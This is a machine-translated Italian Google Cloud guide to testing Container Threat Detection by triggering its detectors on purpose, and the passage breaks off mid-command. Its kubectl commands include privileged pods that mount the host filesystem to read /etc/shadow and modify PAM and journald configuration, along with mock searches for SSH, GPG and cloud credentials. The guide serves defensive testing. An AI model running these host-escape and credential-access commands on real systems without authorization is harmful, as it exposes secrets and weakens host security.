Questa pagina è stata tradotta dall'API Cloud Translation.

Verifica di Container Threat Detection

Questa pagina spiega come verificare che Container Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare i risultati di Container Threat Detection, devi abilitarlo nelle impostazioni dei servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster siano eseguiti su una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta Utilizzare una versione di GKE supportata. Se vuoi testare il rilevamento delle minacce su ARM, devi disporre di un cluster con un pool di nodi contenente istanze ARM. Per maggiori informazioni, consulta Workload ARM su GKE.

Attivare i rilevatori

I seguenti rilevatori sono disattivati per impostazione predefinita:

Added Binary Executed
Added Library Loaded
Collection: Pam.d Modification (anteprima)
Credential Access: Access Sensitive Files on Nodes (anteprima)
Credential Access: Find Google Cloud Credentials
Defense Evasion: Disable or modify Linux audit system (anteprima)
Defense Evasion: Launch Code Compiler Tool In Container
Defense Evasion: Root Certificate Installed (anteprima)
Execution: Program Run with Disallowed HTTP Proxy Env
Execution: Suspicious Cron Modification (anteprima)
Exfiltration: Launch Remote File Copy Tools in Container
Persistence: Modify ld.so.preload (anteprima)

Per testarli, devono essere abilitati in modo esplicito.

Per prima cosa, controlla lo stato di tutti i rilevatori:

   export PROJECT=PROJECT_ID
   gcloud alpha scc settings services describe \
       --service=CONTAINER_THREAT_DETECTION \
       --project=${PROJECT}

Per attivare un rilevatore specifico, utilizza il comando corrispondente riportato di seguito:

Attiva il rilevatore di Added Binary Executed:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Attiva il rilevatore di Added Library Loaded:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Attiva il rilevatore Collection: Pam.d Modification (anteprima):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PAM_D_MODIFICATION \
    --project=${PROJECT}

Attiva il rilevatore Credential Access: Access Sensitive Files on Nodes (anteprima):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ACCESS_SENSITIVE_FILES_ON_NODES \
    --project=${PROJECT}

Attiva il rilevatore di Credential Access: Find Google Cloud Credentials:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Attiva il rilevatore Defense Evasion: Disable or modify Linux audit system (anteprima):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=DISABLE_OR_MODIFY_LINUX_AUDIT_SYSTEM \
    --project=${PROJECT}

Attiva il rilevatore di Defense Evasion: Launch Code Compiler Tool In Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Attiva il rilevatore Defense Evasion: Root Certificate Installed (anteprima):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ROOT_CERTIFICATE_INSTALLED \
    --project=${PROJECT}

Attiva il rilevatore di Execution: Program Run with Disallowed HTTP Proxy Env:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Attiva il rilevatore Execution: Suspicious Cron Modification (anteprima):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=SUSPICIOUS_CRON_MODIFICATION \
    --project=${PROJECT}

Attiva il rilevatore di Exfiltration: Launch Remote File Copy Tools in Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Attiva il rilevatore Persistence: Modify ld.so.preload (anteprima):

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=MODIFY_LD_SO_PRELOAD \
    --project=${PROJECT}

Imposta le variabili di ambiente

Per testare i rilevatori, utilizza la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i rilevatori di Container Threat Detection.

Vai alla consoleGoogle Cloud .

Vai alla console Google Cloud
Seleziona il progetto che contiene il contenitore che vuoi utilizzare per il test.
Fai clic su Attiva Cloud Shell.
In Cloud Shell, imposta le variabili di ambiente.
1. La zona in cui si trova il cluster:
```
export ZONE=CLUSTER_ZONE
```
2. Il progetto in cui si trova il contenitore:
```
export PROJECT=PROJECT_ID
```
3. Il nome del cluster:
```
export CLUSTER_NAME=CLUSTER_NAME
```

Le variabili sono impostate. Le sezioni seguenti includono istruzioni per testare i rilevatori di Container Threat Detection.

File binario aggiuntivo eseguito

Per attivare un risultato Programma binario aggiuntivo eseguito, rilascia un binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia /bin/ls in un'altra posizione e poi la esegue. L'esecuzione del file binario è imprevista perché la copia del file binario non faceva parte dell'immagine container originale, anche se l'immagine si trova su Ubuntu 24.04 e i container devono essere immutabili.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Rilascia un file binario ed eseguilo:

Nodo x86:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Nodo ARM:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Questa procedura di test dovrebbe creare un risultato Binario aggiunto eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di tipo Binario aggiunto eseguito. Per visualizzare tutti i risultati di Added Binary Executed durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un risultato Libreria aggiuntiva caricata, rilascia una libreria nel contenitore e caricala. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi la carica utilizzando ld. La libreria caricata è imprevista perché la copia della libreria non faceva parte dell'immagine container originale, anche se questa immagine si trova su Ubuntu 24.04 e i container sono immutabili.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Rilascia una libreria e utilizza ld per caricarla:

Nodo x86:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Nodo ARM:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Questa procedura di test dovrebbe creare un risultato Libreria aggiunta caricata che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Added Library Loaded. Per visualizzare tutti i risultati caricati della libreria aggiunta durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Raccolta: Modifica Pam.d (anteprima)

Per attivare il rilevamento delle modifiche di pam.d, modifica uno dei file correlati a PAM dell'host. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, montando il file system root dell'host nel container e poi modifica /etc/pam.d/sshd.

Si tratta di un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un file binario che modifica uno dei file correlati a PAM sull'host.

Nodo x86:

tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Questa procedura di test attiva un risultato di modifica di pam.d che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Comando e controllo: strumento di steganografia rilevato

Per attivare un risultato Command and Control: Steganography Tool Detected (anteprima), deve essere eseguito all'interno di un container un binario con funzionalità di manipolazione dei file coerenti con gli strumenti di steganografia. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in steghide (o un altro strumento di steganografia come stegano). Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di preparare un contenitore per nascondere o estrarre dati, potenzialmente per scopi dannosi.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di steganografia come steghide:

Nodo x86:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Nodo ARM:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Questa procedura di test crea un risultato Command and Control: Steganography Tool Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso con credenziali: accedi ai file sensibili sui nodi (anteprima)

Per attivare il rilevamento di Accesso a file sensibile, leggi il file /etc/shadow dell'host. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, montando il file system radice dell'host nel container, quindi legge /etc/shadow utilizzando cat.

Si tratta di un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un file binario che legge il file /etc/shadow dell'host.

Nodo x86:

tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Questa procedura di test attiva un risultato Accesso a file sensibile che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Accesso con credenziali: trova Google Cloud Credenziali

Per attivare un risultato Credential Access: Find Google Cloud Credentials, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in grep. L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di una forma di Google Cloud credenziali. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare le credenziali di Google Cloud .

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Nodo ARM:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Questa procedura di test dovrebbe creare un risultato Credential Access: Find Google Cloud Credentials che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso alle credenziali: ricognizione chiave GPG

Per attivare un risultato Credential Access: GPG Key Reconnaissance, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in find (o in un altro strumento di ricerca adatto come grep). L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare le chiavi di sicurezza GPG.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Nodo ARM:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Questa procedura di test dovrebbe creare un risultato Credential Access: GPG Key Reconnaissance che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso con credenziali: cerca chiavi private o password

Per attivare un risultato Credential Access: Search Private Keys or Passwords, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in find (o in un altro strumento di ricerca adatto come grep). L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare informazioni sensibili come chiavi private o password all'interno di un ambiente containerizzato.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Nodo ARM:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Questa procedura di test dovrebbe creare un risultato Credential Access: Search Private Keys or Passwords che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: righe di comando del file ELF Base64

Per attivare un risultato Defense Evasion: Base64 ELF File Command Line, un processo deve avere base64 come argomento e f0VMRgIB come argomento, ovvero la forma codificata in base64 di ELF. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. base64 viene quindi eseguito con gli argomenti -d e f0VMRgIB. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare dati binari per eseguire codice dannoso.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Nodo ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Questa procedura di test dovrebbe creare due risultati Defense Evasion: Base64 ELF File Command Line che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center. Vengono creati due risultati perché sia il comando bash -c iniziale sia l'esecuzione del comando base64 -d soddisfano i criteri di ricerca.

Evasione della difesa: script Python con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed, un processo deve avere echo o base64 come argomento e aW1wb3J0IH come argomento, che è la forma codificata in base64 di python -c. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. echo viene quindi eseguito con l'argomento aW1wb3J0IH. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare dati binari per eseguire codice dannoso.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Nodo ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Questa procedura di test dovrebbe creare un risultato Defense Evasion: Base64 Encoded Python Script Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: script shell con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed, un processo deve avere echo o base64 come argomento e IyEvYmluL2Jhc2gK come argomento, che è la forma codificata in base64 di #!/bin/bash. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. echo viene quindi eseguito con l'argomento IyEvYmluL2Jhc2gK. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare dati binari per eseguire codice dannoso.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Nodo ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Questa procedura di test dovrebbe creare un risultato Defense Evasion: Base64 Encoded Shell Script Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Defense Evasion: Disable or Modify Linux Audit System (anteprima)

Per attivare il rilevamento di una modifica di disattivazione o modifica dell'audit di Linux, modifica uno dei file di configurazione correlati all'audit dell'host. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, monta il file system root dell'host nel container e poi modifica /etc/systemd/journald.conf.

Si tratta di un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un file binario che modifica uno dei file di configurazione correlati al controllo dell'host, ad esempio /etc/systemd/journald.conf.

Nodo x86:

tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

Nodo ARM:

tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Questa procedura di test attiva un risultato Disable or Modify Linux Audit System che puoi visualizzare in Security Command Center e, se hai configurato la registrazione per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Evasione delle difese: avvia strumento di compilazione codice nel container

Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container (Anteprima), uno strumento di compilazione del codice deve essere eseguito all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in gcc10 (o in un altro compilatore come clang). Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di compilare ed eseguire codice dannoso all'interno del contenitore per eludere il rilevamento o modificarne il comportamento.

Imposta le variabili di ambiente.

Utilizza Cloud Shell per accedere al control plane del cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Esegui un binario del compilatore come gcc10 con gli argomenti appropriati:

Nodo x86:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
